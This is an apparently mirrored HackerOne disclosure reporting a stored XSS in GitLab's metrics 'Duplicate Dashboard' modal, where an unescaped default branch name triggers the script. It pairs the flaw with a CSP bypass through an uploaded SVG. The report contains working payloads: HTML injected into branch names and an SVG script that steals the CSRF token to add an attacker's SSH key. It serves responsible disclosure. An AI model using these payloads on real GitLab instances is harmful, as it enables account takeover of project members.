Skip to content

Stored XSS via duplicating metrics dashboard executing on gitlab.com

HackerOne report #824773 by xanbanx on 2020-03-19, assigned to @jeremymatos:

Hi GitLab Security Team,

Summary

I found a stored XSS vulnerability in GitLab via the metric dashboard duplication functionality, which executed on gitlab.com

GitLab recently added the functionality, to duplicate a metric dashboard. The modal to duplicate the dashboard misses to escape the default branch name, thus a stored XSS vulnerability is able to execute. Furthermore, with a CSP bypass, this XSS also triggers on gitlab.com.

Steps to reproduce

  1. Create a GitLab project without creating a repo
  2. Enable Prometheus by going to https://example.gitlab.com/<namespace>/<project-name>/-/services/prometheus/edit, enter the domain https://foo.bar.com and enable the integration
  3. Create a local repo via git init
  4. Checkout following branch: git checkout -b "<img/src='x'onerror=alert(document.domain)>"
  5. Add a .gitlab-ci.yml with the following content:
deploy_staging:  
  stage: deploy  
  script:  
    - echo "Deploy to staging server"  
  environment:  
    name: staging  
    url: https://staging.example.com  
  1. Add and commit the file: git add .gitlab-ci.yml; git commit -am "add"
  2. Add the origin of the GitLab project to the local repo: git remote add origin https://example.gitlab.com/<namespace>/<project-name>.git
  3. Push the commit to the GitLab repo wit seting the branch git push --set-upstream origin "<img/src='x'onerror=alert(document.domain)>"
  4. Go to https://example.gitlab.com/<namespace>/<project-name>/-/environments/metrics
  5. Select the dashboard dropdown and select Duplicate Dashboard to watch the XSS payload executing

This example, uses a generic XSS payload, which is blocked on gitlab.com due to the deployed CSP.
However, I already reported a CSP bypass in #786753, which can also be used here to let the XSS execute on gitlab.com

  1. Create a project on gitlab.com
  2. Enable Prometheus by going to https://gitlab.com/<namespace>/<project-name>/-/services/prometheus/edit, enter the domain https://foo.bar.com and enable the integration
  3. Add a file test.svg to the repository with the following content:
<?xml version="1.0" encoding="UTF-8"?>  
<svg xmlns="http://www.w3.org/2000/svg"  
    version="1.1" baseProfile="full"  
    width="700px" height="400px" viewBox="0 0 700 400">  
   <circle cx="125" cy="125" r="75" />  
   <script type="text/javascript">  
    alert(window.parent.document.domain)  
   </script>  
</svg>  
  1. Findout about the blob id by querying https://gitlab.com/api/v4/projects/<project-id>/repository/tree. This returns the repo tree containing an blob id for the file test.svglike this one: {"id":"bbac0b4ac29d5bab841f60bdf71d7ea3b91ca87f","name":"test.svg","type":"blob","path":"test.svg","mode":"100644"}
  2. Clone the repo locally and use that id to create the following branch: git checkout -b "<iframe/src='/api/v4/projects/<project-id>/repository/blobs/bbac0b4ac29d5bab841f60bdf71d7ea3b91ca87f/raw'>"
  3. Add a .gitlab-ci.yml with the following content:
deploy_staging:  
  stage: deploy  
  script:  
    - echo "Deploy to staging server"  
  environment:  
    name: staging  
    url: https://staging.example.com  
  1. Add, commit, and push the file: git add .gitlab-ci.yml; git commit -am "add"; git push --set-upstream origin "<iframe/src='/api/v4/projects/<project-id>/repository/blobs/bbac0b4ac29d5bab841f60bdf71d7ea3b91ca87f/raw'>"
  2. Change the default branch to the iframe named branch in https://gitlab.com/<namespace>/<project-name>/-/settings/repository
  3. Go to https://example.gitlab.com/<namespace>/<project-name>/-/environments/metrics
  4. Select the dashboard dropdown and select Duplicate Dashboard to watch the XSS payload executing. You maybe have to open the duplicate dashboard modal twice.

Attached see a screenshot of the XSS executed on gitlab.com:

xss.png

Impact

The stored XSS is triggering for any user with reporter access and above for the project. The PoC can easily be extended to steal the users CSRF token and to takeover the victim's account. For example, you can use the following PoC to add the attackers SSH key to the victim's account:

<?xml version="1.0" encoding="UTF-8"?>  
<svg xmlns="http://www.w3.org/2000/svg"  
    version="1.1" baseProfile="full"  
    width="700px" height="400px" viewBox="0 0 700 400">  
   <circle cx="125" cy="125" r="75" />  
   <script type="text/javascript">  
    var csrf = window.parent.$('meta[name=csrf-token]').attr('content');   
    window.parent.$.post('/profile/keys', { 'authenticity_token': csrf, 'key[key]': 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUXhvMZ/BFqgVY4iWWv2lrs2alZHA6CoNcnZWH7gxObXGeFK89/itFbI8NrEDE291LRScBL1nuHs0xlf7uidf97uFGVMyIW8TKeaG/j5q6olr9ejiOZhiiGGkQZf1iSTV4VYN77EtG7iV62VB1ZbwnCau1xT5mlXbd8E4WzaHIxuOY8Ao8EozouaQzWt+I1xJx5rufVwItmTaX5QKV5Cuv8GhMRUb1UqujNKr22/rbWnut0pSzB1+uE4S4E1AaCNX9Byy0z65nzupk5kdj8y/qJ3pk8UBOgQtJCFEOwc42EHS3JwTeMRNRXs9bwqRJfXUomXL1LZ5Eua7UX7aQq7pf admin@foo.com', 'key[title]': 'admin@foo.com' });  
   </script>  
</svg>  

Due to the CSP bypass, this XSS is also triggering on gitlab.com and also has full impact for self managed instances. This has the same impact as in #426577 (closed), (XSS in environments). /cc [@]jritchey who triged this one.

What is the current bug behavior?

GitLab does not escape the default branch in the duplicate dashboard modal, thus allowing an XSS payload to execute.

What is the expected correct behavior?

GitLab should escape the default branch in the duplicate dashboard modal.

Output of checks

This bug happens on GitLab.com running on GitLab Enterprise Edition 12.9.0-pre 4b942459

Best regards,
Xanbanx

Impact

See above.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!